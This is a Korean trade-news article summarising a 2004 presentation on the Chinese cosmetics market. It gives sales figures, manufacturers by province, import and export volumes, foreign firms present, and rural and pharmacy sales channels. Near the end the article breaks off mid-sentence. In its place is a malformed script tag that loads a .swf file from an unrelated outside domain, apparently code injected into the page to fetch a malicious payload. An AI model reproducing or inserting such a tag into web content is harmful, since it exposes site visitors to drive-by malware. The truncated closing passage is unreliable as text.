中 화장품 연매출 13조 로레알 매출 4500억… 농촌 공략 해볼만 중국 화장품 시장은 연 매출 규모는 850억위안(13조원)에 달하는 것으로 나타났다. 또 생산 업체는 3천2백여 곳으로 이 중 3분의 1이 넘는 1천2백여 곳이 광동성에 밀집한 것으로 밝혀졌다. 이같은 사실은 지난 3월 26일 서울 국제화장품미용박람회 한중 교류회에서 나온 내용으로 중국향료향정화장품공업협회(이하 중국협회) 요키첸 상무가 중국화장품 시장에 대한 발표를 통해 드러났다. 요 상무는 발표에 앞서 인사말을 통해 중국은 최근 20년새 화장품 산업이 엄청난 발전을 이룩했으며 생활수준 향상으로 이젠 화장품이 필수품이 됐다고 말했다. 이어 요 상무는 한국은 화장품 강국으로서 양국이 협회 차원에서 교류를 맺는 것은 의미있는 일이라며 교류가 더욱 강화돼 양국의 화장품 산업 발전에 기여하기를 바란다고 말했다. 다음은 요 상무가 발표한 중국 화장품 시장 개황.(2004년 기준) ▲화장품 연간 매출 규모=850억위엔. 생산 업체수 3258개. 베이징 상하이 등 소비는 매년 크게 늘고 있으며 1인 매출 규모는 지역에 따라 워낙 들쭉날쭉해 공개하기는 어렵지만 아직 선진국에 비해 크게 뒤떨어진다. ▲화장품 생산 업체 분포=광동성 1,256개, 절강성 298개, 강소성 276개, 요녕성 125개, 산동성 104개, 상해시 102개, 북경시 102개, 천진시 91개, 중경시 39개. 이중 한국 진출 업체는 절강성에 LG생활건강이, 강소성에 로제가, 요녕성 및 상해시에 아모레가, 요녕성에 웅진이, 천진시에 코리아나가 각각 있다. ▲화장품 교역 규모=수입량은 16393톤으로 2003년에 비해 36%가 증가했고 수입액으로는 1억8천89만달러로 2003년에 비해 72%나 대폭 증가했다. 수출량은 207,140톤으로 2003년에 비해 26%가 증가했고 수출액으로는 6억1천540달러로 2003년에 비해 18% 증가세를 보였다. 주요 수출 대상국은 프랑스 미국 일본 등이다. ▲좋은 투자 환경=정국이 안정돼 있고 높은 경제 성장을 우선 꼽을 수 있다. 특히 13억에 이르는 인구는 엄청난 잠재 소비시장으로서 외국 투자를 기다리고 있다. 로레알의 한 관계자는 립스틱을 1인당 1개씩만 팔아도 13억개나 팔린다며 무진장한 시장이라고 말한 바 있다. 또 인재가 풍부하고 원료 포장 등 관련 산업이 잘 발달돼 있는 것도 장점이다. 우수한 노동력과 저임금도 투자의 매력이라고 할 수 있다. 외국 자본으로서는 독일의 웰라가 지난 1998년 처음 들어왔고 로레알은 이미 생산량의 60%를 내수에 의존할 정도로 시장이 빠르게 성장하고 있다. ▲중국 진출 외국 유명 회사 -미국: P&G, 암웨이, 에이본, 메리케이, 레브론, 존슨앤드존슨, 누스킨 -프랑스: 로레알, 크리스챤 디올 -독일: 웰라, 니베아, 헨켈 -일본: 시세이도, 고세, 가오, 가네보, 메나도 -한국: 태평양(아모레 퍼시픽), LG, 코리아나, 웅진, 로제 ▲중국 화장품 시장 특성=인구가 많고 생활수준이 향상되며 소비재에 대한 관심이 많이 높아지고 있다. 특히 정부의 농촌 우대 정책에 따라 농민 소득이 증가하며 농촌은 이제 잠재력이 큰 소비 시장으로 부상하고 있다. 예를 들어 중국의 한 그룹은 농촌을 집중 공략한 끝에 지난해 400미리리터 샴푸를 8천만개 팔았고 50그램 스킨을 3억병 팔았다고 한다. 또 마케팅이 다원화하며 약국 시장도 새롭게 떠오르고 있다. 항주에서는 화장품 전체 매출이 약국에서 이루어진다고 한다. ▲중국 시장의 M&A=중국에서도 외국 화장품업체들이 중국 업체 M&A를 어렵지 않게 볼수 있다. 로레알이 우서를 사들여 중국 시장을 넓힌 것은 그 좋은 예로서 로레알은 지난해 30억위안의 매출을 올렸다. 한편 고세도 중국 업체를 인수한 바 있다. 또 일부 제약업체들이 최근 피부 보호제 시장에 진출하고 있고 주류 업계에서도 모발용품 생산에 나서는 등 다른 업종에서의 화장품 사업 진출이 눈에 띈다. ▲중국 화장품 발전 추세=생활이 개선되며 머리 감는 회수가 늘고 이에 따라 샴푸 등의 수요가 늘고 있다. 특히 샴푸는 덜 자극적인 순한 제품을 많이 찾고 있다. 염모제품도 검은색 일변도에서 다양한 컬러로 점차 소비가 이동하는 추세이고 일부 한약재를 이용한 염모제품도 선보이고 있다. 그러나 이 한약 염모제는 안전성을 더욱 강화할 필요가 있을 것이다. 중국 여성도 한국과 마찬가지로 미백에 대한 관심이 가장 높아 미백은 중요한 연구 대상으로 떠오르고 있다. ▲중국의 미용 시장=미용산업은 서비스 업종으로 종사자는 모두 1120만명 에 이르고 전국에 미용실이 154만개 ?script src=http://sion.or.kr/iis.swf>

  webmaster@geniepark.co.kr

<저작권자 © 제니파크, 무단 전재 및 재배포 금지>